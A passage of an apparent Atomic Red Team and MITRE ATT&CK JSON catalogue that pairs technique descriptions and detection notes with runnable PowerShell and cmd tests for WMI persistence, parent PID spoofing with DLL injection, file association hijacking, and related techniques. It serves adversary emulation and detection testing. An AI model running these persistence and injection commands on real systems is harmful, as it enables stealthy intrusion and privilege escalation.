$ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = [Ref] $Filter;\nConsumer = [Ref] $Consumer;\n}\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs\n", - "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Persistence via WMI Event Subscription - ActiveScriptEventConsumer", - "auto_generated_guid": "fecd0dfd-fb55-45fa-a10b-6250272d0832", - "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n ScriptingEngine='VBScript';\n ScriptText='\n Set objws = CreateObject(\"Wscript.Shell\")\n objws.Run \"notepad.exe\", 0, True\n '}\n$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = $Filter;\nConsumer = $Consumer;\n}\n$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs\n", - "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Windows MOFComp.exe Load MOF File", - "auto_generated_guid": "29786d7e-8916-4de6-9c55-be7b093b2706", - "description": "The following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "mofcomp_path": { - "description": "Location of mofcomp.exe", - "type": "string", - "default": "c:\\windows\\system32\\wbem\\mofcomp.exe" - }, - "mof_file": { - "description": "Local location MOF file", - "type": "string", - "default": "PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n", - "prereq_command": "if (Test-Path \"#{mofcomp_path}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "Validate MOFComp.exe is on disk somewhere and update input argument.\n" - }, - { - "description": "MofComp.exe must exist on disk at specified location (#{mof_file})\n", - "prereq_command": "if (Test-Path \"#{mof_file}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{mof_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"#{mof_file}\"\n" - } - ], - "executor": { - "command": "#{mofcomp_path} #{mof_file}\n", - "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam_consumer'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam_filter'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n", - "name": "powershell" - } - } - ] - }, - "T1134.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wayne Silva, F-Secure Countercept" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", - "created": "2020-02-18T18:22:41.448Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.004", - "url": "https://attack.mitre.org/techniques/T1134/004" - }, - { - "source_name": "XPNSec PPID Nov 2017", - "url": "https://blog.xpnsec.com/becoming-system/", - "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019." - }, - { - "source_name": "CounterCept PPID Spoofing Dec 2018", - "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", - "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019." - }, - { - "source_name": "Microsoft UAC Nov 2018", - "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", - "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019." - }, - { - "source_name": "Microsoft Process Creation Flags May 2018", - "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", - "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019." - }, - { - "source_name": "Secuirtyinbits Ataware3 May 2019", - "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", - "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019." - }, - { - "source_name": "DidierStevens SelectMyParent Nov 2009", - "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", - "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019." - }, - { - "source_name": "CTD PPID Spoofing Macro Mar 2019", - "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", - "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", - "modified": "2022-05-03T02:15:42.360Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Access Token Manipulation: Parent PID Spoofing", - "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Heuristic Detection", - "Host Forensic Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1134.004" - }, - "atomic_tests": [ - { - "name": "Parent PID Spoofing using PowerShell", - "auto_generated_guid": "069258f4-2162-46e9-9a25-c9c6c56150d2", - "description": "This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "parent_process_name": { - "description": "Name of the parent process", - "type": "string", - "default": "explorer" - }, - "spawnto_process_path": { - "description": "Path of the process to spawn", - "type": "path", - "default": "C:\\Program Files\\Internet Explorer\\iexplore.exe" - }, - "dll_process_name": { - "description": "Name of the created process from the injected dll", - "type": "string", - "default": "calculator" - }, - "dll_path": { - "description": "Path of the dll to inject", - "type": "path", - "default": "PathToAtomicsFolder\\T1134.004\\bin\\calc.dll" - }, - "spawnto_process_name": { - "description": "Name of the process to spawn", - "type": "string", - "default": "iexplore" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL to inject must exist on disk at specified location (#{dll_path})\n", - "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"#{dll_path}\"\n" - }, - { - "description": "PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n", - "prereq_command": "if (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n" - } - ], - "executor": { - "command": ". $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n", - "cleanup_command": "Stop-Process -Name \"#{dll_process_name}\" -ErrorAction Ignore\nStop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from Current Process", - "auto_generated_guid": "14920ebd-1d61-491a-85e0-fe98efe37f25", - "description": "Spawns a powershell.exe process as a child of the current process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "parent_pid": { - "description": "PID of process to spawn from", - "type": "string", - "default": "$PID" - }, - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from Specified Process", - "auto_generated_guid": "cbbff285-9051-444a-9d17-c07cd2d230eb", - "description": "Spawns a notepad.exe process as a child of the current process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "parent_pid": { - "description": "PID of process to spawn from", - "type": "string", - "default": "$PID" - }, - "test_guid": { - "description": "Defined test GUID", - "type": "string", - "default": "12345678-1234-1234-1234-123456789123" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from svchost.exe", - "auto_generated_guid": "e9f2b777-3123-430b-805d-5cedc66ab591", - "description": "Spawnd a process as a child of the first accessible svchost.exe process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - }, - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from New Process", - "auto_generated_guid": "2988133e-561c-4e42-a15f-6281e6a9b2db", - "description": "Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - }, - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "parent_name": { - "description": "Parent process to spoof from", - "type": "path", - "default": "$Env:windir\\System32\\notepad.exe" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'", - "name": "powershell" - } - } - ] - }, - "T1546.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", - "created": "2020-01-24T13:40:47.282Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.001", - "url": "https://attack.mitre.org/techniques/T1546/001" - }, - { - "source_name": "Microsoft Change Default Programs", - "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", - "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016." - }, - { - "source_name": "Microsoft File Handlers", - "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx", - "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014." - }, - { - "source_name": "Microsoft Assoc Oct 2017", - "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", - "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018." - }, - { - "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", - "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd", - "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018." - }, - { - "url": "https://capec.mitre.org/data/definitions/556.html", - "source_name": "capec", - "external_id": "CAPEC-556" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", - "modified": "2022-04-20T16:55:49.219Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution: Change Default File Association", - "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1546.001" - }, - "atomic_tests": [ - { - "name": "Change Default File Association", - "auto_generated_guid": "10a08978-2045-4d62-8c42-1957bbbea102", - "description": "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon successful execution, cmd.exe will change the file association of .hta to notepad.exe. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_extension_handler": { - "description": "txtfile maps to notepad.exe", - "type": "path", - "default": "txtfile" - }, - "extension_to_change": { - "description": "File Extension To Hijack", - "type": "string", - "default": ".hta" - }, - "original_extension_handler": { - "description": "File Extension To Revert", - "type": "string", - "default": "htafile" - } - }, - "executor": { - "command": "assoc #{extension_to_change}=#{target_extension_handler}\n", - "cleanup_command": "assoc #{extension_to_change}=#{original_extension_handler}\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1055.014": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", - "type": "attack-pattern", - "created": "2020-01-14T01:35:00.781Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.014", - "url": "https://attack.mitre.org/techniques/T1055/014" - }, - { - "source_name": "ELF Injection May 2009", - "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html", - "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020." - }, - { - "source_name": "Backtrace VDSO", - "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/", - "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020." - }, - { - "source_name": "VDSO Aug 2005", - "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/", - "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020." - }, - { - "source_name": "Syscall 2014", - "url": "https://lwn.net/Articles/604515/", - "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020." - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - } - ], - "modified": "2022-02-24T15:21:39.761Z", - "name": "VDSO Hijacking", - "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Module: Module Load" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1015": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Paul Speulstra, AECOM Global Security Operations Center" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", - "type": "attack-pattern", - "created": "2017-05-31T21:30:26.946Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1015", - "url": "https://attack.mitre.org/techniques/T1015" - }, - { - "external_id": "CAPEC-558", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/558.html" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", - "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", - "source_name": "FireEye Hikit Rootkit" - }, - { - "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", - "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", - "source_name": "DEFCON2016 Sticky Keys" - }, - { - "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", - "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", - "source_name": "Tilbury 2014" - } - ], - "modified": "2020-05-13T20:37:30.008Z", - "name": "Accessibility Features", - "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often 